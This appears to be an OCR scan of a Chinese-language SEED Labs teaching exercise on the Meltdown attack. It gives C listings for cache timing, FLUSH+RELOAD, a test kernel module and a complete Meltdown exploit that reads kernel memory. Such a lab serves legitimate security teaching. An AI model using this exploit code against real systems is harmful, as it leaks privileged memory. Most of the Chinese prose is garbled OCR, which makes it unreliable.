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2 U GiE

% Ubuntu 16.04 #fER8: X FHRAOTIIRMMES V-7 BAEMEH gee it RS HHA N -march=native

SR GSROE RIS IS ARSI A 18 458 BN, FRNTRT DAL B i R 2 5
myprog.c:

$ gcc -march=native -o myprog myprog.c

4 Ubuntu 20.04 #: &%  7F Ubuntu 20.04 #F/ER ST, Il -march=native Z%{A] fE T2
SR B . RIS 7, RIS AR D AN TR E T I, QAR S5
IR B TR, T A R IR 1A -

$ gcc -o myprog myprog.c

3 £S5 1 A 2: il CPU A v IS E
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5o FEAIY (CacheTime.c) HY, FATH—AK/NK 10%4096 FEH . FoATTHE Seif b H ¥ wi It
array[3*4096] Fil array [7*4096] . [K It , {3 P> TC R W) UL THPRF 9 A7 - ARG FRAT T array [0%4096]
5| array [9+4096] FEIIEZ I M AL . 1 [ RS T ibI25 5. 2SR, 47 © fElTrisE
2 miEeH CPU [iHEE (TSC) THEEAE, 1T @ fENAAEIRZ G BGX G e . B
ZEAHA R WAAEIUIT LS it a] (DA CPU JAIECHAL) . BRI, SR — N — 1
PORHATHY, AR —A— 7. MBI AEIINE 64 F47. FATHH array [kx4096]1, FrDARE
Je il AN TR A VR TE R — N R AL

Listing 1: CacheTime.c

#include <emmintrin.h>

#include <x86intrin.h>
uint8_t array[10%*4096] ;

int main(int argc, const char **argv) {
int junk=0;
register uint64_t timel, time2;
volatile uint8_t *addr;

int i;

/1 A A
for(i=0; i<10; i++) array[i*4096]=1;

/] EHKEN CPU EHHER

for(i=0; i<10; i++) _mm_clflush(&array[i*4096]);

AL - E S
array[3*4096] = 100;
array[7*4096] = 200;

for(i=0; i<10; i++) {
addr = &array[i*4096];

timel = __rdtscp(&junk) ; (©)

junk = *addr;

time2 = __rdtscp(&junk) - timel; ®

printf ("i7 7] array[%d+4096] #it|a: %d ANCPUR #\n",i, (int)time2);
}
return O;

1t f# il gcc -march=native CacheTime.c #iF [iAUHY, HizfTE .. ViS4 array [3*4096]
l array [7+4096] J& 75 HLHARTCR VTG ER? IRFGFEE/DBIT%ET 10 YOF R IRr a4 R . il
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Attacker Program CPU Cache Main Memory (RAM)

Slower Read

Y

array[255*4096]

Slower Read

Y

Read Faster Read
array[0...255]

»  array[94*4096] array[94*4096]

Slower Read

Y

Slower Read array[0*4096]

Y
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FRATHG AR A 5 PG R BRI BN B 19 Ho AR FLUSH+RELOAD () (11 B 356
THEAR, WF=12K):

L. FLUSH: RPN PR, PAB IR B 9 AT

2. THZEERE, ZREARIEAL B E T B T — IR . R EO N TR A7

3. RELOAD: Hi il #sE AN D & BB 2 U R P fs I 18] o SR AR SR A N2y
AR, WIRATREX N ICRCEAAET ZAr . XA TCRDE R ZHFEH AT MBI TR,
DR AT A PT DARAG S B (E AT 4 -

PARARRF i} FLUSH+RELOAD AR 4B & secret S — N MAME(E. BT —14
TG 256 METRERME, FRATTHEZREAMEM BB P — A e R b — R R R R e L
HA7 256 PIeEMEAH (R array[256]). (HEXHFARIEM . SZAERIER——IETH, A —
A=A MR array (k] U5, WS ZITR— DAL Ik, array (k] BFHSEIT
RUWFRAE, XETRATMEAEWT LB (2T 4 o i T ROX AN R, FRATEIE— K/ 256%4096
FAEAL. AEFATE RN BE TR AT R 2B array [kx4096] . [H2h 4096 KT ALY
AFHR RN (64 F35), FrPA array[1*4096] Fil array [j*4096] A& [ AE— N EAFHLH .

M T array[0%4096] W fg 5AHAR AR A A7 TR — DA, B R RE I A 678 S 9 A7
M AN A E . I, TN 2% 7E FLUSH+-RELOAD i ] array [0%4096] (X T-HiAthx
5l k , array [k*4096] H-¥ A XA 4 THERET HORFF—20, AT A k HHTH array [kx4096
+ DELTA], Hr DELTA E X N— & 1024,
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Listing 2: FlushReload.c

#include <emmintrin.h>

#include <x86intrin.h>

uint8_t array[256%4096] ;
int temp;

unsigned char secret = 94;

/* REZ Aot R B AE */
#define CACHE_HIT_THRESHOLD (80)
#define DELTA 1024

void flushSideChannel ()
{

int i;

/1 BBEENGA, AR EFE RAM L P L BS T A

for (i = 0; i < 256; i++) array[i*4096 + DELTA] = 1;

/] FRERFHHAME
for (i = 0; i < 2566; i++) _mm_clflush(&array[i*4096 +DELTA]);

void victim()

{
temp = array[secret*4096 + DELTA];

void reloadSideChannel ()
{
int junk=0;
register uint64_t timel, time2;
volatile uint8_t *addr;
int i;
for(i = 0; i < 256; i++){
addr = &array[i*4096 + DELTA];
timel = __rdtscp(&junk);
junk = *addr;
time2 = __rdtscp(&junk) - timel;
if (time2 <= CACHE_HIT_THRESHOLD){
printf ("array[%d*4096 + %d] #ZEZF¥. \n", i, DELTA);
printf ("FBEME = %d. \n",i);
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int main(int argc, const char **argv)
{

flushSideChannel () ;

victim() ;

reloadSideChannel();

return (0);

WEH gee ik LIAREFIFEITE (B05E E AT Mgl ) . TEERNZ, ZEAIFA
SEAMERR, RATRE VAR AR RE M B T it ey 4 1 . ARV 2/ B TR 20 R, HGitaeisIE
BRI B (EL IR B AR PT DIARIEAE S5 1 45 ) [SUE %% CACHE_HIT_THRESHOLD (UtACHHE N
80).

4 fF£55 3-5: Meltdown ¥l 20 %iE1s

WAFRR e R LR EG . TERZHARERG T, PSR ARRE RTINS RN . X
Fob e v o A B 2 PN PSR B, BN P LE T AR AT AT M A A . 2 CPU SEA
PWAZEE [ BB AL, FER B PSS RRILAL B A TRXEIEE, AR AT DA 4
HOWS BB A BERE AR S A o, RS ] P RAR P A NI, TURANR E . SR10, Meltdown
el W T X AR S AL, SN P AR RS UL R N AT

4.1 AE55 3: AEPIRE S D JCERL 5

N RACRATR T, AR WA S ] il — AR e, SRS s ey s 2o ) P A e 4 X
ARG . BATRE R — A W RBHORAF AL R . WA SC BT AL T MeltdownKernel .
o SRR BSOS AL A5 2 S LR AR . DA 2 AR -

Listing 3: MeltdownKernel.c
static char secret[8] = {'S', 'E', 'E', 'D', 'L', 'a', 'b', 's'};
static struct proc_dir_entry *secret_entry;

static char* secret_buffer;

static int test_proc_open(struct inode *inode, struct file *file)
{
#if LINUX_VERSION_CODE <= KERNEL_VERSION(4,0,0)
return single_open(file, NULL, PDE(inode)->data);
#else
return single_open(file, NULL, PDE_DATA(inode));
#endif
}

static ssize_t read_proc(struct file *filp, char *buffer,
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size_t length, loff_t *offset)

memcpy (secret_buffer, &secret, 8);

return 8;

static const struct file_operations test_proc_fops =
{

.owner = THIS_MODULE,

.open = test_proc_open,

.read = read_proc,

.1llseek = seq_lseek,

.release = single_release,

175

static __init int test_proc_init(void)
{
/] ERBIEEZ K BN E
printk ("B %5 F4E B Hudk A %p\n", &secret); @)

secret_buffer = (char*)vmalloc(8);

// # /proc FA|EHKENH
secret_entry = proc_create_data("secret_data",
0444, NULL, &test_proc_fops, NULL);

if (secret_entry) return O;

return -ENOMEM;

static __exit void test_proc_cleanup(void)
{

remove_proc_entry("secret_data", NULL);

module_init(test_proc_init);

module_exit (test_proc_cleanup) ;

@

®

SCEL Meltdown Gl A AN B EAY SRR 2L, A3 WIBGEREAR S XE AR . AEFRATHY AR IR

L BATHR R X A AR A

o TRATFR BN E AR EHR AL o PR A a8 B M B 31 A L b X o (3
BT A R Fef 1T AAIR HELARBGZ AL . 9K Meltdown Tt

AR B —FPO7 R AR BOX Akt BCE I E .

1),
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o BEEHRTERGAT, BNBGERBEIRRRAG. XA R R R TR, T S B —
AL IR B AR K. FRTTTE /proc/secret_data A T —MEHEA L (BEOfT),
X PR 5 AR S BRI T — AN . 24 PR MO A D BN, YRR
read_procO) MRECRFHEIAA , FEZRECT AR BLgONE E01T) , IHFHIEE CPU %47, 75
BN read_proc () AL iR MIFRELHEHI I Fas(b], Bt EE i g 2dn . FRAIATRE
i Meltdown Z5 R ARIUFLE

SRR T. MRS N AT, AL S Makefile #1 MeltdownKernel.c [ H W . #i A make
AT AR IR AR . 22 A AZAREHR AT AT A insmod fig %o — HIRATSIIH 24 T AZEE, wiw]
VAT dmesg i M PAZTH B2 vk X iR BRI ook . 10 Rk, AT EFREE.

$ make

$ sudo insmod MeltdownKernel.ko

$ dmesg | grep 'secret data address'
secret data address: 0xfb61b000

4.2 55 4 DI MR B AT

BUAEBATRE AL S B A b, AR FRA MBS LR R 2 ] DA B A SRR . 4] DA
5 H O AR S XA FATRAL T — A BIURSATR o X5 © frrhnydihl, 3R
N E—MEFS AR L. AT IR (BURA SR, FHRR VRIS R . SR
F @ fTRESMINT HRFREEITH @ 177

int main()

{
char *kernel_data_addr = (char*)0xfb61b000; @
char kernel_data = *kernel_data_addr; @
printf ("I have reached here.\n"); ®
return O;

}

4.3 15 5: C iSO/ S

WVAESS 4, UKL 28 T ARSI T P BOA A7 42 SO 12 Meltdown Zgate o, A7 BEAE
DT AR AR S, BROATAT R SALRR . 7 B 710 M 7453 % A4~ SIGSEGV
s HURELT ORI S0, R M e I R . b H 2 B
5. A5 JURI ST DA BRI, — o i R e S L0 5 AL DA A 50

R C+ SOLBRAET , C T HHIEI try/catch ORI (WFSEAAT) Bl
filo SAIMT, Ff 1T sigsetimp() il siglongjmp() MU, try/catch HUFF Ny, HAHEH T4
ExceptionHandling.c 1) C BT, HMMAEAEScmIn o (IINFEIBR) . 2 peaks
BTG TSNS, R R AL
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Listing 4: ExceptionHandling.c

static sigjmp_buf jbuf;

static void catch_segv()

{
// [ \texttt{sigsetjmp()} & & By &
siglongjmp(jbuf, 1); @
}

int main()
{
/] BB B
unsigned long kernel_data_addr = O0xfb61b000;

/I RE—NMeFAER)T
signal (SIGSEGV, catch_segv); ®

if (sigsetjmp(jbuf, 1) == 0) { ®
// Bl % \texttt{SIGSEGV} fz&.
char kernel_data = *(char*)kernel_data_addr; @

/1 T AR EIAT .
printf ("Kernel data at address %lu is: Y%c\n",
kernel_data_addr, kernel_data);

}
else {

printf ("Memory access violation!\n");

printf ("Program continues to execute.\n");

return O;

AR i S A AL AL RIR 2 A0, FRATIRAE S e — 2P R -

o WHEESAIA: RATES @ 1TiRE T4 SIGSEGV {55403, FiY SIGSEGV {554
g1 %, £JHH handler pE% catch_segv().

. iﬁ%%ﬁﬁ : &Jﬁ S, BRATFEEILR T MR I s dksethar. Wik, FATEeFHEE L —
AW, KBTS @ i SIgsetJmp() SCHL: sigsetjmp(jbuf, 1) RERRI N /IS ERAFAE jbuf
EPW%*}%E siglongjmp() FIEH; "EiRE 0 FRWr S BiE Y.

o [B1E T 24T siglongjmp(jbuf, 1) B, jbuf 28 5 H SRAFPPIR R4 52 1 1] AL FRE , H A\ sigsetjmp()
BRI R ] E R T 4GS AT . (HI2 sigsetjmp() eREXAYIRIFIEE siglongjmp() eRELHIEE 24K,
XHEE 1. HI, ALIEJT:#P%E, PR IAT else 237,



SEED %% — Meltdown il 10

o MRS IS @ AP 1P SRR G REPIE) T3] % SIGSEGV
i

5 fE5 6: CPU W iyfLEar

METTHIAAE S FRATFLE , AR P 2 AR A, 5 IR 2 RGO 51 & 245 . PUR RS A
B, % 3 FPEEl & —ARH, F bk 0xfb61b000 FITERIINAEE T INAZ . FIHATIEES 3 F7ekp
Wr, I HA 4 frkim NS piaT, BItAS & number F{EAIRN 0.
number = 0;

*kernel_address = (char*)0xfb61b000;

kernel_data = *kernel_address;

Sw N e

number = number + kernel_data;

M CPU SMBfERE, B A Bl flA R IR . XM WERIRNTIRAZ] CPU NAERI M
RMBHRBEITHI, MK 3 1R IR, 5 4 17 RE8d8 0 2pdhdT. X
A CPU R — M EZ A AR ——AL P T .

5 AR P RAT AR 2, B RCRAY CPU A ir b7 BLF AT AT R BT AT BC . 4%
SR PR U AT 13 2 T RE & T BUMERE R ZE RN BRI R AR, PR IR S AESF Rl — MR 2 52 it A
ettt R WY 2. AUFSITHH Bt A SE, REErFR SRR ], CPU R DAYEIE 24 R et
HIAT ST 35 2 o

1 RIS R B, WS EE , 55 3 AT MO AF gl GEF AT AL
FIVIREPAV . WRBIRC e T CPU ZAf7rf, WS EAESARRSERE, M02 A dET
RET 2B ia) . Sy 7l REE, CPU KPRELINTE 4 17 HJ5846S, TERERMAS MM Ta A I+-17
WAV A . R AL AT FEVT A S BT, PATIEERA SR EBRATIIBI T 5,
KRN, LA BaLF AT R USRS W E T, IR ENIR AL . X ht4
MANBEATRBEAREIS 4 THHGT T I, 1 ik ToRmRm s 3 175 R LT T

Access Kernel Memory
kernel_data = *kernel_addr

/\.

Out-of-order execution Access permission check

Bring the kernel data to register.
Continue execution.

Interrupted. Execution If permission check fails, interrupt
results are discarded. the out-of-order execusion.

~_

Kl 3: CPU MBI ELIT AT
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SRR AHANILE CPU il RyAE SO SLF PATIHR 17— A E A R SRR BT 4  Bk
BABZRAAT, A4 CPU BAZARFX G PITIRIE IR % . CPU BB IR E 1 152X WAF I35 A7
AR, B0 T IREAE G AT LRI . AEIEAT RT3 B AN 2k 2 2 A P o R
RS T EAFH o WX BT PAT A E T, 2 fX R T FEW AN PGE = . AER
5, FERZH CPU HfdRtnst. HELXstiE T 7R, AL 1A 2 Fid i i &
EROAR, FEATAT AL 21X LR . Meltdown Xzl 4F 3 et W A1) FH ixORH T OE 2R 2 AR R 2 A% Y
7 BB

FERXAMESF AR SRR A R LY AT S B RCR . XA SRR IR B #EAR
e, 5 O ARG K —RE, NI @ 7 Aayiidr. Aimbm TaLFaTr#m, CPU Sk b
SPATH @ 17, HHACRFHERAWEFE . HRMT%MIT18, array[7 * 4096 + DELTA] PI{EH
CPU ZiA7 1 o FAMBEMALSS 1 A1 2 rpSe B M5 T AU A A 1 1 mT AW 2 XA RIR o 5 A SE 5
u AR, AT ARSI, R R AR UIEIERI S @ 1755k BRI THY

Listing 5: MeltdownExperiment.c

void meltdown(unsigned long kernel_data_addr)
{

char kernel_data = 0;

/! TEHWEAKIR*E

kernel_data = *(char*)kernel_data_addr; (@)

array[7 * 4096 + DELTA] += 1; @
}

/] EEALES
static sigjmp_buf jbuf;
static void catch_segv() { siglongjmp(jbuf, 1); }

int main()

{
/1l RE-NEERERF
signal (SIGSEGV, catch_segv);

/1 KRB A T R

flushSideChannel () ;

if (sigsetjmp(jbuf, 1) == 0) {

meltdown (0xfb61b000) ; ®
}
else {

printf ("Memory access violation!\n");
¥

/] B A RAFR N S A
reloadSideChannel () ;
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return O;

}

VR, O 17 ML R B N A R R S PR . SRS ATRID (B Sec-
tion B FRHCETHFHOBII) . SRR IR ZE 4 .

6 fF55 7: LAl Meltdown ¥(ili

AL AT W BATHR B T N N AF R L2, SRS FRATRT AR I S8 5 AT — 25484, A
iiFE CPU Zeqp = A nl MR . CPU FE 58 iy IS 22 2 i REUEAT 22 A SLI AT BOR T D5 Ml A
EREEAZE . KR — RSSO A MES T, FATREF XA TS AR AN+
PILIC S

6.1 fE55 7.1: —AWi DIk

LERNE TS H, FATATPAKF array [7 * 4096 + DELTA] Z577%| CPU b, RUSFATRENE WIELH
AR, EIRAEA RS X TR AR AR . 2RI array [kernel_data * 4096 +
DELTA] [fiAN4& array[7 * 4096 + DELTA], #sin/PARESIA CPU ZfE. FIH FLUSH+RELOAD
B AR KA A array [1%4096 + DELTA] (i =0, ..., 255) B MIIHE] . AISRFRAT R I A A array (k4096 +
DELTA] 2T, FoA 1 n] DASEWT 8 kernel data W{E N k. B 1E L Listinga 1) MeltdownExperiment.c
R A, TR AR . B SGEANBE) , VR RO FIREREE R, I RLLiF T Task
7.2, AT BAESES

6.2 £S5 7.2: WG APRBRE Bl ot gl

Meltdown Jg—Fha &SR, W AALF AT ST R EZ MRS . SLF Il JATHER
PATIIHE B0 Z , MM SEA AT AR A>T DA B3R T3ROS 1y nTL IR o L3R AT1E A e 2
AL AT R R .

TS P AL RA TR 25— P AR R B I R B B A, R RN AT U5 ) 22 A e .
RN L AT AN, W LA SE R, WREHR TRBEE N WAL B3 e iad g h, i
I LT PRAT 2 R R D TR 2 S DKl 7 B o b, FRAT Ty et e B 2R

IR MR AAE CPU A7, IR 2K AR NS F e PO BE SR, AT RES%
TEA R AL 5E B BISIAT T R B 18 o—— M T IO IR — 25 164 TESERER, WPR— DR
IR YEGAT, B Meltdown g5 BUZEUFF 2 WMER . AT IEANE £ U HIRAREE, Meltdown Hdy
DR ATLAR), HENH 2 LR CPU Al DRAM [5].

TEEASER, PR SRt 2 Bk MRS B BAE T CPU . 75 Listing iR
g, AT AR R AR A A — A R R XA R BRI 7 PR B A U 2o i B 4
A PBRFEF o X — iR SRR B A CPU A7 . FRATT DAKERE B A ARS8 in 2 FR A 4
155 7.1 PR BEARR, BHEA LY AT Z Al s T B BUa By, PSR Ga
$2Tt.
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// FTFH /proc/secret_data jF il X
int fd = open("/proc/secret_data", O_RDONLY);
if (£d < 0) {

perror ("open") ;

return -1;

}

int ret = pread(fd, NULL, 0, 0); // SERZHIE®RZF

6.3 {15 7.3: WiLgsiti 5% Meltdown

By CPU Zéfy, Bnl BRNIR ToVA i 5e i bt AT 55 o A FRATTd 1 AE N AZ N AT R0 Z s i LA T
Cgate 2kt —H . WRT ) meltdown_asm(O) A5, X BRI T—A 400 KIWEA (S WHEO
1) AEIRFRNES, EUERECT ox141 INEI A7t eax o AU T — LT MITEE, (HaX L25h
AL A A 2 R B v I 28— AN B2 T (1]

Listing 6: meltdown_asm()

void meltdown_asm(unsigned long kernel_data_addr)

{

char kernel_data = 0;

/] % eax FHBRE—LEHMH

asm volatile(

".rept 400;" ©)
"add $0x141, %keax;"

".endr;" @
: "eax"

)
/] AT EARI R —DRE

kernel_data = *(char*)kernel_data_addr;

array[kernel_data * 4096 + DELTA] += 1;

1% F meltdown_asm() PREL, A RN meltdown () pREL. FHERIREIMELER ., WnfnE>
TEIAEL, IR
7 4RSS 8: Rl

HE 2o 7 R 55 T tife, ATUIA T RETCIA B AR RE RIS AL S Kt . A I TR BGE &2k
AR, (BT IR RATA BCt AR BE IR B AT (B O DR 3 T —ME. T 3 e e, JATAT
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PABEGE Tt BeR . HARALZ B — AR/ R 256 154404, BT BERRL B EXT . — e . K
JERMZ VAT BT - B, WEREAIBERRT AN k % (X ATRERH RN ), FATR 1
I scores (k] H. ELYGBATIE, AT LAGEH BA im0 k MR AT RS XA 7
R RO B O E R el 58 . B BUSRURS AR BrR .

Listing 7: MeltdownAttack.c

static int scores[256];

void reloadSideChannelImproved()
{
int i;
volatile uint8_t *addr;
register uint64_t timel, time2;
int junk = 0;
for (i = 0; i < 256; i++) {
addr = &array[i * 4096 + DELTA];

timel = __rdtscp(&junk) ;
junk = *addr;
time2 = __rdtscp(&junk) - timel;

if (time2 <= CACHE_HIT_THRESHOLD)
scores[il++; /* WREZFad, WiZEm 1 */

/1 BEREE
static sigjmp_buf jbuf;
static void catch_segv() { siglongjmp(jbuf, 1); }

int main()
{

int i, j, ret = 0;

/] REEFAEER
signal (SIGSEGV, catch_segv);

int fd = open("/proc/secret_data", O0_RDONLY);
if (fd < 0) {
perror ("open") ;

return -1;

memset (scores, 0, sizeof(scores));
flushSideChannel () ;

// FEE—#3 EER 1000 %
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for (i = 0; i < 1000; i++) {
ret = pread(fd, NULL, O, 0);
if (ret < 0) {
perror ("pread") ;
break;

}

/] B REMBAE RS
for (j = 0; j < 256; j++)
_mm_clflush(&array[j * 4096 + DELTA]);

if (sigsetjmp(jbuf, 1) == 0) { meltdown_asm(0xfb61b000); }
reloadSideChannelImproved() ;

/1 R AR R R R F

int max = 0;

for (i = 0; i < 256; i++) {

if (scores[max] < scores[i]) max = i;
printf ("The secret value is %d ’%c\n", max, max);
printf ("The number of hits is %d\n", scores[max]);
return O;
W IIFEH BT, FHAEREVRIRER AR o AU AN NAZ 5 BT — AN R 3 B - Bk
BIENBES P REA 8 NFAT. T EE e EAR A AREUT A 1 8 N7
8 R

RTG BEHRESE 1y A AR P 1) T S 6 A1 15 A R A e ) AR R 2 A TSR o AR 5 2% —
SRR A N I AR S R A TR, . T (RIS A7) HH B B AU B AR . U2 fRl B P ACAD
AIMVATEREA 23055453
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